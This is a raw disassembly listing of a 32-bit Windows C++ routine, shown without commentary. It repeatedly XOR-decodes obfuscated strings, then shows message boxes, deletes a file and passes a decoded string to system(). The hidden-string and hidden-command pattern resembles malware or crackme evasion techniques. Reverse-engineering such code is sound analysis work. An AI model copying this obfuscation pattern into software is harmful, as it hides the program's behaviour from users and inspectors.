andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x348], xmm1
add eax, 8
cmp eax, 0x14
jl 0x46ab80
mov dword [ebp - 0x4f4], edx
cmp edx, 0x16
jge 0x46acc7
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x348], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x16
jl 0x46ac90
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
call fcn.0046e590
mov ecx, eax
call fcn.004641e0
mov esi, eax
lea ecx, [ebp - 0x360]
mov dword [ebp - 0x374], esi
call fcn.0046e6f0
test esi, esi
jne 0x46b0b7
mov eax, dword [str.t_A_G6]
mov dword [ebp - 0x338], eax
mov ax, word [0x649954]
mov word [ebp - 0x334], ax
test ah, ah
je 0x46ad6c
xor edx, edx
mov dword [ebp - 0x4f4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x338], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 6
jl 0x46ad30
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x390]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x23
call fcn.0046e590
movups xmm0, xmmword [0x6492e0]
xor edx, edx
mov esi, eax
mov dword [ebp - 0x4f4], edx
movups xmmword [ebp - 0x408], xmm0
movups xmm0, xmmword [0x6492f0]
movups xmmword [ebp - 0x3f8], xmm0
movups xmm0, xmmword [0x649300]
movups xmmword [ebp - 0x3e8], xmm0
movups xmm0, xmmword [0x649310]
movups xmmword [ebp - 0x3d8], xmm0
movq xmm0, qword [0x649320]
movq qword [ebp - 0x3c8], xmm0
cmp edi, 2
jl 0x46af20
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x40c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x40c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x408]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x408], xmm1
add eax, 8
cmp eax, 0x4c
jl 0x46ae10
mov dword [ebp - 0x4f4], edx
cmp edx, 0x48
jge 0x46af57
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x408], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x48
jl 0x46af20
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
call fcn.0046e590
push 0x10
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
lea ecx, [ebp - 0x390]
call fcn.0046e6f0
lea ecx, [ebp - 0x50c]
call fcn.0046be20
lea ecx, [ebp - 0x4f0]
call fcn.0046e6f0
lea ecx, [ebp - 0x478]
call fcn.0046e6f0
mov ecx, dword [ebp - 0x47c]
cmp ecx, 0xf
jbe 0x46afed
mov edx, dword [ebp - 0x490]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46afe3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4677de
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov ecx, dword [ebp - 0x494]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
mov byte [ebp - 0x490], 0
cmp ecx, 0xf
jbe 0x46b042
mov edx, dword [ebp - 0x4a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46b038
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4677de
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0xf
mov byte [ebp - 0x4a8], 0
cmp ecx, 0xf
jbe 0x46b097
mov edx, dword [ebp - 0x4c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46b08d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4677de
push ecx
push edx
call fcn.005ce06a
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005cdcb6
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, esi
call fcn.004658a0
test al, al
je 0x46b32b
mov eax, dword [0x649958]
xor edx, edx
mov dword [ebp - 0x338], eax
mov al, byte [0x64995c]
mov byte [ebp - 0x334], al
mov dword [ebp - 0x4f4], edx
nop dword [eax]
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x338], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 5
jl 0x46b0f0
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x390]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x24
call fcn.0046e590
xor edx, edx
mov dword [ebp - 0x338], eax
cmp dword [0x6647f8], 2
lea edi, [ebp - 0x428]
mov ecx, 0x19
mov dword [ebp - 0x4f4], edx
mov esi, 0x649c60
rep movsd dword es:[edi], dword [esi]
jl 0x46b2b0
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x42c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x42c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x428]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x428], xmm1
add eax, 8
cmp eax, 0x64
jl 0x46b1a2
mov dword [ebp - 0x4f4], edx
cmp edx, 0x64
jge 0x46b2e7
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x428], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x64
jl 0x46b2b0
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
call fcn.0046e590
push 0x40
push dword [ebp - 0x338]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x22
call fcn.0046e6f0
call fcn.004642a0
push 8
call fcn.005cdde9
mov dword [ebp - 0x338], eax
lea edi, [ebp - 0x430]
mov ecx, 0x1c
mov esi, 0x649a58
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x6647f8]
add esp, 4
xor esi, esi
cmp edi, 2
jl 0x46b477
movaps xmm4, xmmword [0x64a4a0]
lea edx, [ebp - 0x430]
movaps xmm3, xmmword [0x64a550]
xor ecx, ecx
movaps xmm5, xmmword [0x64a4c0]
movaps xmm6, xmmword [str.11111111]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [edx + ecx*2]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [edx + ecx*2], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x428]
xorps xmm1, xmm0
movq qword [ebp + ecx*2 - 0x428], xmm1
add ecx, 8
cmp ecx, 0x38
jl 0x46b390
jmp 0x46b4a0
mov eax, 0x4d4873ed
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x31
xor word [ebp + esi*2 - 0x430], cx
inc esi
cmp esi, 0x38
jl 0x46b477
push dword [ebp - 0x374]
mov ecx, dword [ebp - 0x338]
lea eax, [ebp - 0x430]
push eax
call fcn.00447440
lea ecx, [ebp - 0x360]
mov dword [0x664b60], eax
call fcn.00467320
mov ecx, eax
call fcn.0046e590
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
mov eax, dword [0x64a2bc]
xor edx, edx
mov dword [ebp - 0x338], eax
mov al, byte [0x64a2c0]
mov byte [ebp - 0x334], al
mov dword [ebp - 0x4f4], edx
nop
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x338], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 5
jl 0x46b500
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x25
call fcn.0046e590
mov edx, 5
lea ecx, [ebp - 0x390]
mov esi, eax
call fcn.00460fb0
push esi
push eax
lea eax, [ebp - 0x4d8]
mov byte [ebp - 4], 0x26
push eax
call fcn.00470d50
add esp, 0xc
lea ecx, [ebp - 0x390]
call fcn.0046e6f0
lea ecx, [ebp - 0x3c0]
mov byte [ebp - 4], 0x29
call fcn.0046e6f0
sub esp, 0x18
lea eax, [ebp - 0x4d8]
mov ecx, esp
mov dword [ebp - 0x338], esp
push eax
call fcn.0046e800
mov byte [ebp - 4], 0x2a
xor edx, edx
mov eax, dword [str.uSGU5]
mov dword [ebp - 0x378], eax
mov al, byte [0x648f94]
mov byte [ebp - 0x374], al
mov dword [ebp - 0x4f4], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x378], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 5
jl 0x46b5d3
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046e7c0
sub esp, 0x18
mov byte [ebp - 4], 0x2b
mov ecx, eax
mov dword [ebp - 0x374], esp
mov esi, esp
call fcn.0046e590
push eax
mov ecx, esi
call fcn.0046e7c0
mov byte [ebp - 4], 0x2c
mov eax, dword [0x6492d4]
movq xmm0, qword [0x6492cc]
mov dword [ebp - 0x368], eax
mov ax, word [0x6492d8]
movq qword [ebp - 0x370], xmm0
mov word [ebp - 0x364], ax
test ah, ah
je 0x46b7c7
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x46b790
movaps xmm2, xmmword [0x64a4a0]
mov edx, 8
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
mov dword [ebp - 0x4f4], edx
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x6492cc]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x370], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x36c]
xorps xmm1, xmm0
movd dword [ebp - 0x36c], xmm1
nop word [eax + eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x370], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0xe
jl 0x46b790
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
sub esp, 0x18
mov byte [ebp - 4], 0x2d
mov ecx, eax
mov esi, esp
call fcn.0046e590
push eax
mov ecx, esi
call fcn.0046e7c0
mov byte [ebp - 4], 0x2f
call fcn.00464d00
add esp, 0x48
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x29
call fcn.0046e6f0
movq xmm0, qword [str.cwwneR_T9]
xor edx, edx
mov al, byte [0x6498e0]
movq qword [ebp - 0x33c], xmm0
mov byte [ebp - 0x334], al
mov dword [ebp - 0x4f4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x33c], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 9
jl 0x46b840
lea eax, [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x30
call fcn.0046e590
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
lea edx, [ebp - 0x4d8]
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x360]
call fcn.00467180
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x29
call fcn.0046e6f0
push 0
lea eax, [ebp - 0x330]
push eax
push 0x104
lea ecx, [ebp - 0x4d8]
call fcn.0046e590
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea ecx, [ebp - 0x330]
call fcn.00448920
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
je 0x46bb05
push 0x449930
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp byte [0x649d7f], 0
mov esi, eax
movups xmm0, xmmword [0x649d68]
movups xmmword [ebp - 0x360], xmm0
movq xmm0, qword [0x649d78]
movq qword [ebp - 0x350], xmm0
je 0x46bac7
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x46ba90
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x364]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x364], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x360]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x360], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x46b982
mov dword [ebp - 0x4f4], edx
cmp edx, 0x18
jge 0x46bac7
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x360], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x18
jl 0x46ba90
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x32
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x3a8]
jmp 0x46bd00
push 0x449900
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x648e94]
xor edx, edx
mov dword [ebp - 0x338], ecx
mov esi, eax
mov cl, byte [0x648e98]
mov byte [ebp - 0x334], cl
mov dword [ebp - 0x4f4], edx
movups xmm0, xmmword [0x648e84]
movups xmmword [ebp - 0x348], xmm0
cmp edi, 2
jl 0x46bc90
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x34c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x34c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x348], xmm1
add eax, 8
cmp eax, 0x14
jl 0x46bb80
mov dword [ebp - 0x4f4], edx
cmp edx, 0x15
jge 0x46bcc7
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x348], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x15
jl 0x46bc90
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x33
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x29
call fcn.0046e6f0
mov eax, dword [0x664b60]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00464a50
mov eax, dword [str.ASFGP6]
mov dword [ebp - 0x338], eax
mov ax, word [0x64a3f0]
mov word [ebp - 0x334], ax
test ah, ah
je 0x46bd7c
xor edx, edx
mov dword [ebp - 0x4f4], edx
nop
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x338], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 6
jl 0x46bd40
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x3d8]
call fcn.0046e7c0
mov ecx, eax
call fcn.0046e590
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x3d8]
call fcn.0046e6f0
lea ecx, [ebp - 0x4d8]
call fcn.0046e6f0
lea ecx, [ebp - 0x50c]
call fcn.0046be20
lea ecx, [ebp - 0x4f0]
call fcn.0046e6f0
lea ecx, [ebp - 0x478]
call fcn.0046e6f0
lea ecx, [ebp - 0x490]
call fcn.0046e6f0
lea ecx, [ebp - 0x4a8]
call fcn.0046e6f0
lea ecx, [ebp - 0x4c0]
call fcn.0046e6f0
jmp 0x46b097
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [ebp - 0x374], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
call fcn.00470720
int3